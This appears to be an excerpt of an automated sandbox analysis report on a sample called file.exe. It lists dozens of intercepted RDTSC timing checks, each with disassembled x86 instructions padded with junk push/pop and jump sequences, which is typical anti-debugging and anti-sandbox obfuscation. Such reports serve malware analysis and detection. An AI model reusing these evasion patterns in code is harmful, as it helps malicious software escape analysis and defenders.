Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B4C9 second address: 122B4D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007FDD24CC6346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E069 second address: 122E073 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD2537F15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DEC1 second address: 122DEC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233620 second address: 1233626 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233626 second address: 123362C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123362C second address: 123364B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F164h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123378E second address: 12337B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDD24CC634Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDD24CC6352h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12337B5 second address: 12337E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FDD2537F15Dh 0x0000000c push eax 0x0000000d jmp 00007FDD2537F168h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233AED second address: 1233AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C51 second address: 1233C57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C57 second address: 1233C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDD24CC634Ah 0x0000000c jp 00007FDD24CC6346h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C70 second address: 1233C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C7C second address: 1233C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12340AE second address: 12340B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12340B2 second address: 12340DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FDD24CC6350h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDD24CC6354h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234A72 second address: 1234A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234A79 second address: 1234A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234A82 second address: 1234A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234A88 second address: 1234A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239AF6 second address: 1239AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239AFA second address: 1239B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239B06 second address: 1239B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248826 second address: 1248830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AC7F second address: 125AC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AC85 second address: 125AC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007FDD24CC634Eh 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A88C second address: 125A8A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A8A8 second address: 125A8AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A8AE second address: 125A8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F907 second address: 126F912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDD24CC6346h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F912 second address: 126F917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FA87 second address: 126FAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FDD24CC634Ch 0x0000000a jmp 00007FDD24CC6355h 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127298B second address: 1272999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FDD2537F15Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1272A3C second address: 1272A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1272A40 second address: 1272A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1272CD6 second address: 1272D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007FDD24CC6348h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000014h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 push 00000004h 0x00000022 cmc 0x00000023 push 2A8D62D4h 0x00000028 pushad 0x00000029 jmp 00007FDD24CC634Fh 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A90 second address: 1275A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A94 second address: 1275ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FDD24CC634Ch 0x0000000f jmp 00007FDD24CC6354h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F039C second address: 56F03A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 328BC580h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F03A6 second address: 56F03AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F03AB second address: 56F041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 34F1h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDD2537F15Ch 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FDD2537F161h 0x00000018 push eax 0x00000019 pushfd 0x0000001a jmp 00007FDD2537F167h 0x0000001f add al, FFFFFFBEh 0x00000022 jmp 00007FDD2537F169h 0x00000027 popfd 0x00000028 pop esi 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b pushad 0x0000002c mov edx, 67D490A0h 0x00000031 push eax 0x00000032 push edx 0x00000033 movsx edi, cx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F041A second address: 56F048B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FDD24CC6358h 0x00000010 xor ah, 00000018h 0x00000013 jmp 00007FDD24CC634Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FDD24CC6357h 0x00000024 xor ax, 7F8Eh 0x00000029 jmp 00007FDD24CC6359h 0x0000002e popfd 0x0000002f push ecx 0x00000030 pop ebx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F048B second address: 56F0491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0491 second address: 56F0495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F04C7 second address: 56F04F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, FF14h 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDD2537F169h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F04F4 second address: 56F0511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0511 second address: 56F0515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0515 second address: 56F051B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0596 second address: 56F0635 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDD2537F160h 0x0000000f push eax 0x00000010 jmp 00007FDD2537F15Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push ecx 0x00000018 movsx edi, cx 0x0000001b pop eax 0x0000001c call 00007FDD2537F15Dh 0x00000021 pushfd 0x00000022 jmp 00007FDD2537F160h 0x00000027 jmp 00007FDD2537F165h 0x0000002c popfd 0x0000002d pop eax 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 jmp 00007FDD2537F167h 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FDD2537F165h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0635 second address: 56F0645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD24CC634Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F06C7 second address: 56F06E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD2537F168h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F06E3 second address: 56F071C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC634Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 45758301h 0x00000012 jmp 00007FDD24CC6356h 0x00000017 call 00007FDD96789C27h 0x0000001c push 771B27D0h 0x00000021 push dword ptr fs:[00000000h] 0x00000028 mov eax, dword ptr [esp+10h] 0x0000002c mov dword ptr [esp+10h], ebp 0x00000030 lea ebp, dword ptr [esp+10h] 0x00000034 sub esp, eax 0x00000036 push ebx 0x00000037 push esi 0x00000038 push edi 0x00000039 mov eax, dword ptr [77240140h] 0x0000003e xor dword ptr [ebp-04h], eax 0x00000041 xor eax, ebp 0x00000043 push eax 0x00000044 mov dword ptr [ebp-18h], esp 0x00000047 push dword ptr [ebp-08h] 0x0000004a mov eax, dword ptr [ebp-04h] 0x0000004d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000054 mov dword ptr [ebp-08h], eax 0x00000057 lea eax, dword ptr [ebp-10h] 0x0000005a mov dword ptr fs:[00000000h], eax 0x00000060 ret 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F071C second address: 56F0720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0720 second address: 56F0726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0726 second address: 56F0735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD2537F15Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0735 second address: 56F075E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6359h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F075E second address: 56F0762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0762 second address: 56F0768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0768 second address: 56F0790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e pushad 0x0000000f movsx edi, ax 0x00000012 popad 0x00000013 popad 0x00000014 mov esi, edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDD2537F15Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0790 second address: 56F0794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0794 second address: 56F079A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F079A second address: 56F07A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07A0 second address: 56F07D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDD2537F167h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07D9 second address: 56F07D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 jmp 00007FDD24CC634Dh 0x0000000e test al, al 0x00000010 jmp 00007FDD24CC634Eh 0x00000015 jne 00007FDD24CC62FFh 0x0000001b mov al, byte ptr [edx] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDD24CC6357h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0945 second address: 56F0954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0954 second address: 56F0A00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6359h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDD24CC634Ch 0x00000013 or ax, 5068h 0x00000018 jmp 00007FDD24CC634Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FDD24CC6358h 0x00000024 and al, FFFFFFC8h 0x00000027 jmp 00007FDD24CC634Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rep movsb 0x00000030 jmp 00007FDD24CC6356h 0x00000035 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000003c jmp 00007FDD24CC6350h 0x00000041 mov eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 call 00007FDD24CC634Dh 0x0000004b pop eax 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A00 second address: 56F0A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A05 second address: 56F0A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD24CC6353h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A1C second address: 56F0A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A20 second address: 56F0A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, 538E233Dh 0x00000013 mov ecx, 6FBEB639h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A39 second address: 56F0A8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr fs:[00000000h], ecx 0x0000000d pushad 0x0000000e mov ecx, 5E573CCFh 0x00000013 call 00007FDD2537F164h 0x00000018 pushfd 0x00000019 jmp 00007FDD2537F162h 0x0000001e xor ah, FFFFFFA8h 0x00000021 jmp 00007FDD2537F15Bh 0x00000026 popfd 0x00000027 pop esi 0x00000028 popad 0x00000029 pop ecx 0x0000002a pushad 0x0000002b mov esi, edx 0x0000002d popad 0x0000002e pop edi 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A8E second address: 56F0AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6357h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FDD24CC6356h 0x0000000f pop ebx 0x00000010 jmp 00007FDD24CC6350h 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0AD8 second address: 56F0AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0AF5 second address: 56F06C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007FDD24CC6345h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FDD24CC6354h 0x00000028 sbb esi, 6C0DF9B8h 0x0000002e jmp 00007FDD24CC634Bh 0x00000033 popfd 0x00000034 push esi 0x00000035 push edx 0x00000036 pop eax 0x00000037 pop ebx 0x00000038 popad 0x00000039 push 31AC9927h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007FDD24CC6358h 0x00000047 jmp 00007FDD24CC6355h 0x0000004c popfd 0x0000004d mov cx, D2B7h 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0C5D second address: 56F0C6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 38EFh 0x00000007 mov cl, 75h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0C6F second address: 56F0CB3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDD24CC6358h 0x00000008 or eax, 4C83F248h 0x0000000e jmp 00007FDD24CC634Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 movzx ecx, dx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDD24CC634Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0CB3 second address: 56F0CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0CB9 second address: 56F0CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0CBD second address: 56F0CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDD2537F164h 0x00000011 rdtsc
